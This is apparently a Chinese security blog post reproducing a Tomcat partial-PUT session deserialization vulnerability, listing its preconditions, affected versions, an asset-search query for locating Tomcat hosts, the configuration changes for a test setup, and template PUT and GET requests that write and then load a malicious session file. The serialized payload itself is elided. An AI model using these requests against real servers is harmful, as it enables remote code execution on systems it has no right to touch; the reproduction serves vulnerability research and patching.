点击蓝字 关注我们
使用说明:本篇文章旨在提供网络安全技术研究的信息和知识,以供信息技术专业人士、学者和爱好者学习和交流。我们鼓励读者提升自身的技术能力,增强网络安全意识,并为维护网络空间的安全做出贡献,切勿用于其他不合法事项,遵守《中华人民共和国网络安全法》
01
漏洞描述
Tomcat 是一个开源的、轻量级的 Web 应用服务器 和 Servlet 容器。它由 Apache 软件基金会下的 Jakarta 项目开发,是目前最流行的 Java Web 服务器之一.
该漏洞利用条件较为复杂,需同时满足以下四个条件:
1.应用程序启用了DefaultServlet写入功能,该功能默认关闭
2.应用支持了 partial PUT 请求,能够将恶意的序列化数据写入到会话文件中,该功能默认开启
3. 应用使用了 Tomcat 的文件会话持久化并且使用了默认的会话存储位置,需要额外配置
4.应用中包含一个存在反序列化漏洞的库,比如存在于类路径下的 commons-collections,此条件取决于业务实现是否依赖存在反序列化利用链的库
02
资产测绘
app="tomcat"
03
影响版本
9.0.0.M1 <= tomcat <= 9.0.98
10.1.0-M1 <= tomcat <= 10.1.34
11.0.0-M1 <= tomcat <= 11.0.2
04
漏洞复现
准备环境:
windows版tomcat = 9.0.98安装包
commons-collections-3.2.1.jar依赖文件
反序列化依赖链
如下为复现详细步骤:
本机复现环境为win11,点击安装包直接安装即可
安装完成后访问127.0.0.1:8080出现如下界面表示安装完成
在安装完成后,需要做如下环境配置修改:
首先,先在Tomcat 9.0\webapps\ROOT\WEB-INF目录下面新建lib目录,将commons-collections-3.2.1.jar依赖文件放进其中,依赖链可通过google直接搜索即可下载。
其次将Tomcat 9.0\conf目录下的如下文件进行修改
修改内容如下:
<ManagerclassName="org.apache.catalina.session.PersistentManager">
<StoreclassName="org.apache.catalina.session.FileStore"/> </Manager>
接着修改Tomcat 9.0\conf目录下的如下文件
修改内容如下:
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
当所有准备环境准备好之后即可进行下一步:
PUT /xxxxx/session HTTP/1.1
Host: IP:8080
Content-Length: 1000
Content-Range: bytes 0-1000/1200
在执行此操作时可能有点延迟,需等个5-8秒左右
GET / HTTP/1.1
Host: IP:8080
Cookie:JSESSIONID=.xxxxx
程序进程:
Spring
参考链接:
https://forum.butian.net/article/674
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论